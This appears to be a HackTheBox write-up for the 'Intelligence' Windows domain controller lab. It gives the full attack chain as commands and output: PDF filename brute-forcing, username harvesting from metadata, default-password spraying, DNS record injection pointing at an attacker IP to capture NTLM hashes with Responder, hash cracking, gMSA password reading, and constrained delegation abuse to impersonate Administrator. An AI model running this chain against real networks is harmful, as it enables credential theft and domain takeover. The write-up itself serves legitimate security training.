# Intelligence Writeup - HackTheBox

> Active Directory box involving PDF metadata extraction, LDAP enumeration, DNS poisoning, and Kerberos abuse to escalate privileges on a Windows domain.

- **URL:** https://hackindex.io/writeups/intelligence
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Windows
- **Tags:** active-directory, bloodhound, default-credentials, password-cracking
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-04
- **Updated:** 2026-08-11

Intelligence is a Windows Domain Controller with a publicly exposed document library. PDF metadata leaks a username list, a content scan of the same PDFs turns up a default onboarding password, and one account never rotated it. From there the chain runs: coerced NTLM authentication via a scheduled DNS-polling script, a cracked hash for Ted.Graves, ReadGMSAPassword to recover a gMSA credential, and constrained delegation abuse to impersonate Administrator.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -sCV -T4 -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE       VERSION
# 53/tcp   open  domain        Simple DNS Plus
# 80/tcp   open  http          Microsoft IIS httpd 10.0
# |_http-title: Intelligence
# 88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
# 389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
# 445/tcp  open  microsoft-ds?
# 3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
# Service Info: Host: DC; OS: Windows
# | smb2-security-mode: 3.1.1 Message signing enabled and required
# |_clock-skew: 7h20m10s
```

Standard DC footprint. Domain `intelligence.htb`, host `DC`. IIS is serving a site titled "Intelligence" on port 80. Correct clock skew before any Kerberos tooling:

```bash
sudo ntpdate $TARGET_IP
echo "$TARGET_IP intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts
```

## Web Enumeration

### Directory discovery

```bash
ffuf -u http://intelligence.htb/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
  -e .php,.html -mc 200,301,302,303,403 -fs 7432
# documents  [Status: 301, Size: 157]
```

The page source at `/documents` shows two linked PDFs with a predictable naming pattern:

```
<a href="documents/2020-12-15-upload.pdf">
<a href="documents/2020-01-01-upload.pdf">
```

The format `YYYY-MM-DD-upload.pdf` suggests many more exist beyond the two linked on the homepage.

### Brute-forcing the date range

```bash
ffuf -u "http://intelligence.htb/documents/FUZZ-upload.pdf" \
  -w <(for year in {2020..2021}; do for month in {01..12}; do \
       for day in {01..31}; do echo "$year-$month-$day"; done; done; done)
# 2020-01-22  [Status: 200, Size: 28637]
# 2020-01-23  [Status: 200, Size: 11557]
# <snip - 99 valid dates matched between Jan 2020 and Mar 2021>
# 2021-02-13  [Status: 200, Size: 27053]
```

99 PDFs. Download them all:

```bash
for date in $(cat dates.txt); do
  wget -q "http://intelligence.htb/documents/$date-upload.pdf" -O "${date}.pdf"
done
```

## Credential Access

### PDF metadata - username list

```bash
exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userlist
cat userlist
# Anita.Roberts
# Brian.Baker
# Brian.Morris
# <snip - 30 usernames total: Daniel.Shelton, Danny.Matthews, Darryl.Harris, David.Mcbride,
# David.Reed, David.Wilson, Ian.Duncan, Jason.Patterson, Jason.Wright, Jennifer.Thomas,
# Jessica.Moody, John.Coleman, Jose.Williams, Kaitlyn.Zimmerman, Kelly.Long, Nicole.Brock,
# Richard.Williams, Samuel.Richardson, Scott.Scott, Stephanie.Young, Teresa.Williamson,
# Thomas.Hall, Thomas.Valenzuela, Travis.Evans, Veronica.Patel, William.Lee>
# Tiffany.Molina
# Travis.Evans
# William.Lee
```

Each PDF's `Creator` field holds the AD-format username of whoever generated it. 30 real usernames harvested.

### PDF content - default password

Convert all PDFs to text and scan the first line of each to separate filler from real content:

```bash
for f in *pdf; do pdftotext "$f"; done
head -n1 *txt
# ==> 2020-01-01.txt <==
# Dolore ut etincidunt adipisci aliquam labore.
# <snip - ~96 of the 99 reports are lorem-ipsum filler>
# ==> 2020-06-04.txt <==
# New Account Guide
# ==> 2020-12-30.txt <==
# Internal IT Update
```

```bash
cat 2020-06-04.txt
# New Account Guide
# Welcome to Intelligence Corp!
# Please login using your username and the default password of:
# $TIFFANY_PASSWORD
# After logging in please change your password as soon as possible.
```

Default onboarding password found. Spray it across all 30 harvested usernames.

## Initial Access

### Password spray

```bash
nxc smb $TARGET_IP -u userlist -p '$TIFFANY_PASSWORD' --continue-on-success
# SMB  DC  [-] intelligence.htb\Anita.Roberts:$TIFFANY_PASSWORD STATUS_LOGON_FAILURE
# <snip - 28 further failures>
# SMB  DC  [+] intelligence.htb\Tiffany.Molina:$TIFFANY_PASSWORD
```

`Tiffany.Molina` never rotated the default password. Check accessible shares:

```bash
nxc smb $TARGET_IP -u Tiffany.Molina -p '$TIFFANY_PASSWORD' --shares
# Share     Permissions
# -----     -----------
# IPC$      READ
# IT        READ
# NETLOGON  READ
# SYSVOL    READ
# Users     READ
```

Two non-default shares: `IT` and `Users`. The user flag sits directly on the `Users` share over SMB without needing a shell. WinRM with the same credential fails since Tiffany is not in Remote Management Users.

BloodHound as Tiffany returns no directly abusable ACL edges. The `IT` share is the next lead.

## Coerced Authentication

### Scheduled script on the IT share

```bash
smbclient //$TARGET_IP/IT -U Tiffany.Molina
get downdetector.ps1
```

```powershell
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" |
  Where-Object Name -like "web*") {
  try {
    $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
    if($request.StatusCode -ne 200) {
      Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' `
        -To 'Ted Graves <Ted.Graves@intelligence.htb>' `
        -Subject "Host: $($record.Name) is down"
    }
  } catch {}
}
```

This runs every five minutes under `Ted.Graves`'s context (confirmed by the mail sender). It fetches every DNS record starting with `web` and sends an authenticated HTTP request (`-UseDefaultCredentials` means NTLM) to each one. Any user who can create a DNS A record can point a `web*` hostname at an attacker box and capture Ted's hash when the script next runs.

### Injecting a malicious DNS record

Standard domain users can add DNS records via LDAP by default. Use `dnstool.py` from the krbrelayx toolkit:

```bash
python3 dnstool.py \
  -u 'intelligence\Tiffany.Molina' -p '$TIFFANY_PASSWORD' \
  $TARGET_IP -a add --record web-attacker --data $ATTACKER_IP --type A
# [+] LDAP operation completed successfully
```

Stand up Responder and wait up to five minutes for the task to fire:

```bash
responder -I tun0
# [HTTP] NTLMv2 Client   : $TARGET_IP
# [HTTP] NTLMv2 Username : intelligence\Ted.Graves
# [HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:<$TED_HASH>
```

### Cracking the hash

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# $TED_PASSWORD   (Ted.Graves)
# 1g 0:00:00:10 DONE
```

## Privilege Escalation

### ReadGMSAPassword for svc_int$

Ted.Graves is a member of the `IT` group, which holds `ReadGMSAPassword` rights over the gMSA `SVC_INT$`. Read the current NTLM hash directly from AD:

```bash
bloodyad --host "$TARGET_IP" -d intelligence.htb \
  -u Ted.Graves -p '$TED_PASSWORD' \
  get object SVC_INT$ --attr msDS-ManagedPassword
# msDS-ManagedPassword.NT: $SVC_INT_HASH
```

### Constrained delegation abuse

`SVC_INT$` is configured with constrained delegation to `WWW/dc.intelligence.htb`. This lets the account use S4U2Self and S4U2Proxy to obtain a service ticket for that SPN while impersonating any domain user. Request a ticket impersonating Administrator:

```bash
getST.py \
  -dc-ip $TARGET_IP \
  -spn www/dc.intelligence.htb \
  -hashes :$SVC_INT_HASH \
  -impersonate administrator \
  intelligence.htb/svc_int
# [*] Requesting S4U2self
# [*] Requesting S4U2Proxy
# [*] Saving ticket in administrator@www_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
```

Use the ticket to execute commands as Administrator:

```bash
KRB5CCNAME=administrator@www_dc.intelligence.htb@INTELLIGENCE.HTB.ccache \
wmiexec.py -k -no-pass administrator@dc.intelligence.htb
# C:\> whoami
# intelligence\administrator
```

Domain Administrator on DC.

##

Related

## References

- [krbrelayx / dnstool.py](https://github.com/dirkjanm/krbrelayx) - Add DNS records as an unprivileged domain user to redirect the downdetector script's authenticated requests.
- [bloodyAD](https://github.com/CravateRouge/bloodyAD) - Read gMSA passwords via ReadGMSAPassword rights over msDS-ManagedPassword.
- [Impacket getST.py](https://github.com/fortra/impacket) - S4U2Self and S4U2Proxy ticket requests for constrained delegation abuse.
- [The Hacker Recipes - Constrained Delegation](https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained) - Technical reference for S4U2Self and S4U2Proxy impersonation via constrained delegation.
